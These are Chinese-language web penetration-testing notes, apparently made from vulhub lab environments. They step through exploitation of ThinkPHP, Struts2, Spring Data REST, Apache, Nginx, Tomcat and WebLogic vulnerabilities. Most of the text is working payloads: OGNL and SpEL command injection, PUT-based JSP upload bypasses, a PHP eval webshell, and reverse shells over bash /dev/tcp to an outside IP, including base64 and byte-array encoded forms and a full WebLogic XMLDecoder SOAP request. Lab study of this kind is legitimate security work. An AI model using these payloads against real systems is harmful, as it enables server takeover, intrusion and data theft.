Thinkphp(TP)
Thinkphp5x远程命令执⾏及getshell
环境搭建:
vulhub/thinkphp/5-rce
docker-compose up -d
POC:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php
访问1.php->成功!
使用webshell并连接:
struts2
S2-057远程执⾏代码漏洞
环境搭建:
cd /vulhub/struts2/s2-057
docker-compose up -d
访问:
poc:
/struts2-showcase/${(123+123)}/actionChain1.action
访问这个 看是否 123+123 会相加
构造poc并替换请求内容:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
在进行url编码:
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
BP抓包->重放器访问:
Spring
Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)
环境搭建:
cd /vulhub/spring/CVE-2017-8046
docker-compose up -d
访问目录:
/customers/1
抓包:将方法弄成PATCH 发送数据
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
去靶机的终端:
docker exec -it 容器id /bin/bash
看是否 在/tmp创建一个叫success的文件:
创建成功!
反弹shell:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xMjgvODA4MCAwPiYx}|{base64,-d}|{bash,-i}
bash -i >& /dev/tcp/192.168.222.128/9999 0>&1
将反弹shell的代码->ascii编码十进制->替换
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,73,121,77,105,52,120,77,106,103,118,79,84,107,53,79,83,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]
开启监听:
nc -lvvp 9999
发送数据包:
Shiro
Shiro rememberMe反序列化漏洞(Shiro-550)
Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会⽣成经过 加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
环境搭建:
cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d
使用工具:
执行命令:
Apache
未知扩展名解析漏洞
在Apache1.x/2.x中Apache 解析⽂件的规则是从右到左开始判断解析,如果后缀名为不可识别⽂件解析, 就再往左判断。如 1.php.xxxxx
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
访问:
在这个靶场中 可以使用多后缀名的方式 比如上传一个1.php.jpg上传之后访问:
AddHandler导致的解析漏洞
⽬录遍历漏洞
+ Indexes 允许⽬录浏览
— Indexes 禁⽌⽬录浏览
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运⾏PHP⽹⻚。其2.4.0~2.4.29版本中存 在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进⾏解析,导致绕过⼀些服务器的安全策略
首先上传一句话木马 使用bp抓包拦截 在这里加个空格
Nginx
⽂件解析漏洞
GIF89a
<?php @eval($_POST['cmd']);?>
⽂件名逻辑漏洞(CVE-2013-4547)
环境搭建:
cd /vulhub/nginx/CVE-2013-4547
docker-compose up -d
上传文件抓包:
在该⽂件名最后添加⼀个空格
将 2 e , 2 e , 2 e 修 改 为 2 0 , 0 0 , 2 e , 发 包 :
漏洞修复:升级nginx
tomcat
Tomcat 远程代码执⾏漏洞(CVE-2017-12615)
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
⽀持三种上传绕过⽅式,默认使⽤ put 加⽂件名是失败的,需要绕过:
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
直接写入 会失败:
/shell.jsp/成功:
/shell.jsp%20成功:
/shell.jsp::$DATA成功:
访问:
哥斯拉连接:
漏洞修复: 设置 readonly为true
tomcat弱⼝令&war远程部署
cd vulhub/tomcat/tomcat8
docker-compose up -d
默认账号密码: tomcat/tomcat
制作war包, 将jsp⽊⻢压缩为zip,然后修改后缀为war就可以了
访问:
漏洞修复:
1.设置强口令
2.删除manger⽂件。
tomcat 远程代码执⾏(CVE-2019-0232)
Apache Tomcat⽂件包含漏洞(CVE-2020-1938)
环境搭建:
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.13.18
WebLogic
weblogic 弱⼝令getshell漏洞
环境搭建:
cd vulhub/weblogic/weak_password
docker-compose up -d
访问登录页面: login
点击->部署->安装:
上传war包,jsp木马压缩成zip,修改后缀为war,上传
访问:
哥斯拉连接:
XMLDecoder反序列化漏洞(CVE-2017-3506)
环境搭建:
cd vulhub/weblogic/weak_password
docker-compose up -d
验证是否存在wls-wsat组件:
出现这个即存在:
在当前页抓包,替换下面请求包:进行反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机IP:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/反弹到的IP/7777 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
或者使用工具:
执行命令:
webshell: